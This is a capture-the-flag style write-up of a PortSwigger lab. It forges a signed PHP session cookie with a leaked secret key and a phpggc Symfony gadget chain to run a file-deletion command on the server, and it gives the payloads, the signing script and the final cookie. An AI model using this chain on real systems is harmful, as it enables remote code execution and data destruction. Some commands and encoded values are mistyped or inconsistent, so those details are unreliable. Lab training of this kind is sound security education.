PortSwiggerlabs: Exploiting PHP deserialization with a pre-built gadget chain

Information :

This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.

To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos’s home directory.

You can log in to your own account using the following credentials: wiener:peter

Solution :

First we login as wiener :

Then we check Burp Site map to see if we have any serialized objects inside the requests :

Perfect, we find our serialized object :

{"token":"Tzo0OlVzZXI6Mjp7czo4OnVzZXJuYW1lO3M6MTM6YWRtaW5pc3RyYXRvcjtzOjEyOmFjY2Vzc190b2tlbjtzOjMyOnd1cjVhM25sNWN5cHhsZnN5NjFocG01MWl2b3JoYXZ3O30K","sig_hmac_sha1":"168071896a554cb23b3452444a3dba6d79e8fbcb"}

The base64 value inside Token is :

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"wur5a3nl5cypxlfsy61hpm51ivorhavw";}

This is clearly a PHP serialized object .

We also see the php.info file in the Site map , let’s check it :

We find a secret Key in the environment variables, we can use this to sign the modifications that we make later on , for now we keep looking :

First try , let’s try modifying the Cookie :

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"wur5a3nl5cypxlfsy61hpm51ivorhavw";}

we just modify the cookie and see if we get any verbose errors :

Perfect we get the version of the framework used :

Looking Online i found this tool :

This is used to generate payloads for multiple php frameworks, we can test it to see if we find anything for Symphony 4.3 :

git clone https://github.com/ambionics/phpggc.git
sudo apt update
sudo apt install php-cli -y
cd phpgcc
./phpgcc -help

First we list all gadgets that we can use :

Perfect , now we can use the Symfony/RCE4 :

O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony\Component\Cache\CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapterpool";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2:{s:54:"Symfony\Component\Cache\Adapter\ProxyAdapterpoolHash";i:1;s:58:"Symfony\Component\Cache\Adapter\ProxyAdaptersetInnerItem";s:4:"exec";}}

We then need to Base64 encode this , use the Secret_Key for signing , for the signing part we need to write a php script to do this :

I will be using the one given to us by PortSwigger :

<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

So the final script is :

<?php
$object = "Tzo0NzpTeW1mb255Q29tcG9uZW50Q2FjaGVBZGFwdGVyVGFnQXdhcmVBZGFwdGVyOjI6e3M6NTc6U3ltZm9ueUNvbXBvbmVudENhY2hlQWRhcHRlclRhZ0F3YXJlQWRhcHRlcmRlZmVycmVkO2E6MTp7aTowO086MzM6U3ltZm9ueUNvbXBvbmVudENhY2hlQ2FjaGVJdGVtOjI6e3M6MTE6KnBvb2xIYXNoO2k6MTtzOjEyOippbm5lckl0ZW07czoyNjpybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dDt9fXM6NTM6U3ltZm9ueUNvbXBvbmVudENhY2hlQWRhcHRlclRhZ0F3YXJlQWRhcHRlcnBvb2w7Tzo0NDpTeW1mb255Q29tcG9uZW50Q2FjaGVBZGFwdGVyUHJveHlBZGFwdGVyOjI6e3M6NTQ6U3ltZm9ueUNvbXBvbmVudENhY2hlQWRhcHRlclByb3h5QWRhcHRlcnBvb2xIYXNoO2k6MTtzOjU4OlN5bWZvbnlDb21wb25lbnRDYWNoZUFkYXB0ZXJQcm94eUFkYXB0ZXJzZXRJbm5lckl0ZW07czo0OmV4ZWM7fX0K";
$secretKey = "b203xtiplh8yplhdgm7dypb23u1rd2uv";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

From here we just take the Encoded value and replace the cookie with it and hopefully it will exeucte the code when the server deserializes the object :

%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22106be2e55d9608c224663c760e5b4426dff55e46%22%7D

Now either modify it inside Repeater , or just use Devtools to inject the new cookie :

That was all for this lab, see you in the next one :)